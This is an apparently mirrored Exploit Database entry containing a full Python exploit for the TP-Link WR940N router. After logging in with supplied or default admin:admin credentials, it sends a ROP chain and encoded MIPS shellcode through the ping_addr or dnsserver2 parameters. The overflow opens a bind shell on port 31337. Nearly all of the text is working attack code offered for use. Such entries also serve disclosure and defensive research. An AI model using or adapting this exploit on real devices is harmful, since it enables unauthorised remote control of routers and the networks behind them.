TP-Link WR940N – (Authenticated) Remote Code

Exploit Database
112 阅读

作者： Fidus InfoSecurity

日期： 2017-10-17
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/43022/

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import urllib2

import base64

import hashlib

from optparse import *

import sys

import urllibbanner = (

"___________________________________________________________________________\n"

"WR940N Authenticated Remote Code Exploit\n"

"This exploit will open a bind shell on the remote target\n"

"The port is 31337, you can change that in the code if you wish\n"

"This exploit requires authentication, if you know the creds, then\n"

"use the -u -p options, otherwise default is admin:admin\n"

"___________________________________________________________________________"

)

def login(ip, user, pwd):

print "[+] Attempting to login to http://%s %s:%s"%(ip,user,pwd)

#### Generate the auth cookie of the form b64enc('admin:' + md5('admin'))

hash = hashlib.md5()

hash.update(pwd)

auth_string = "%s:%s" %(user, hash.hexdigest())

encoded_string = base64.b64encode(auth_string)

print "[+] Encoded authorisation: %s" %encoded_string

#### Send the request

url = "http://" + ip + "/userRpm/LoginRpm.htm?Save=Save"

print "[+] sending login to " + url

req = urllib2.Request(url)

req.add_header('Cookie', 'Authorization=Basic %s' %encoded_string)

resp = urllib2.urlopen(req)

#### The server generates a random path for further requests, grab that here

data = resp.read()

next_url = "http://%s/%s/userRpm/" %(ip, data.split("/")[3])

print "[+] Got random path for next stage, url is now %s" %next_url

return (next_url, encoded_string)

#custom bind shell shellcode with very simple xor encoder

#followed by a sleep syscall to flush cash before running

#bad chars = 0x20, 0x00

shellcode = (

#encoder

"\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99"

"\x27\xb2\x05\x4b" #0x27b2059f for first_exploit

"\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9"

"\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41"

"\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d"

"\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71"

"\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d"

"\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99"

"\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5"

"\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad"

"\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9"

"\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1"

"\x02\x2a\x18\x26\xae\x43\xff\xc1"

#sleep

"\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08"

"\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa"

"\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c"

################ encoded shellcode ###############

"\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06"

"\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff"

"\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d"

"\x7a\x69"#<————————- PORT 0x7a69 (31337)

"\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad"

"\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc"

"\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01"

"\x01\x0c\x24\x0f\x73\x50"

"\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f"

"\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48"

"\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f"

"\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50"

"\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f"

"\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c"

"\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce"

"\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8"

"\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02"

"\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa"

"\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c"

)

###### useful gadgets #######

nop = "\x22\x51\x44\x44"

gadg_1 = "\x2A\xB3\x7C\x60"

gadg_2 = "\x2A\xB1\x78\x40"

sleep_addr = "\x2a\xb3\x50\x90"

stack_gadg = "\x2A\xAF\x84\xC0"

call_code = "\x2A\xB2\xDC\xF0"

def first_exploit(url, auth):

#trash $s1$ra

rop = "A"*164 + gadg_2+ gadg_1 + "B"*0x20 + sleep_addr + "C"*4

rop += "C"*0x1c + call_code + "D"*4 + stack_gadg + nop*0x20 + shellcode

params = {'ping_addr': rop, 'doType': 'ping', 'isNew': 'new', 'sendNum': '20', 'pSize': '64', 'overTime': '800', 'trHops': '20'}

new_url = url + "PingIframeRpm.htm?" + urllib.urlencode(params)

print "[+] sending exploit..."

print "[+] Wait a couple of seconds before connecting"

print "[+] When you are finished do http -r to reset the http service"

req = urllib2.Request(new_url)

req.add_header('Cookie', 'Authorization=Basic %s' %auth)

req.add_header('Referer', url + "DiagnosticRpm.htm")

resp = urllib2.urlopen(req)

def second_exploit(url, auth):

url = url + "WanStaticIpV6CfgRpm.htm?"

# trashs0s1s2 s3 s4ret shellcode

payload = "A"*111 + "B"*4 + gadg_2 + "D"*4 + "E"*4 + "F"*4 + gadg_1 + "a"*0x1c

payload += "A"*4 + sleep_addr + "C"*0x20 + call_code + "E"*4

payload += stack_gadg + "A"*4 +nop*10 + shellcode + "B"*7

print len(payload)

params = {'ipv6Enable': 'on', 'wantype': '2', 'ipType': '2', 'mtu': '1480', 'dnsType': '1',

'dnsserver2': payload, 'ipAssignType': '0', 'ipStart': '1000',

'ipEnd': '2000', 'time': '86400', 'ipPrefixType': '0', 'staticPrefix': 'AAAA',

'staticPrefixLength': '64', 'Save': 'Save', 'RenewIp': '1'}

new_url = url + urllib.urlencode(params)

print "[+] sending exploit…"

print "[+] Wait a couple of seconds before connecting"

print "[+] When you are finished do http -r to reset the http service"

req = urllib2.Request(new_url)

req.add_header('Cookie', 'Authorization=Basic %s' %auth)

req.add_header('Referer', url + "WanStaticIpV6CfgRpm.htm")

resp = urllib2.urlopen(req)

if __name__ == '__main__':

print banner

username = "admin"

password = "admin"

parser = OptionParser()

parser.add_option("-t", "–target", dest="host",

help="target ip address")

parser.add_option("-u", "–user", dest="username",

help="username for authentication",

default="admin")

parser.add_option("-p", "–password", dest="password",

help="password for authentication",

default="admin")

(options, args) = parser.parse_args()

if options.host is None:

parser.error("[x] A host name is required at the minimum [x]")

if options.username is not None:

username = options.username

if options.password is not None:

password = options.password

(next_url, encoded_string) = login(options.host, username, password)

###### Both exploits result in the same bind shell ######

#first_exploit(data[0], data[1])

second_exploit(next_url, encoded_string).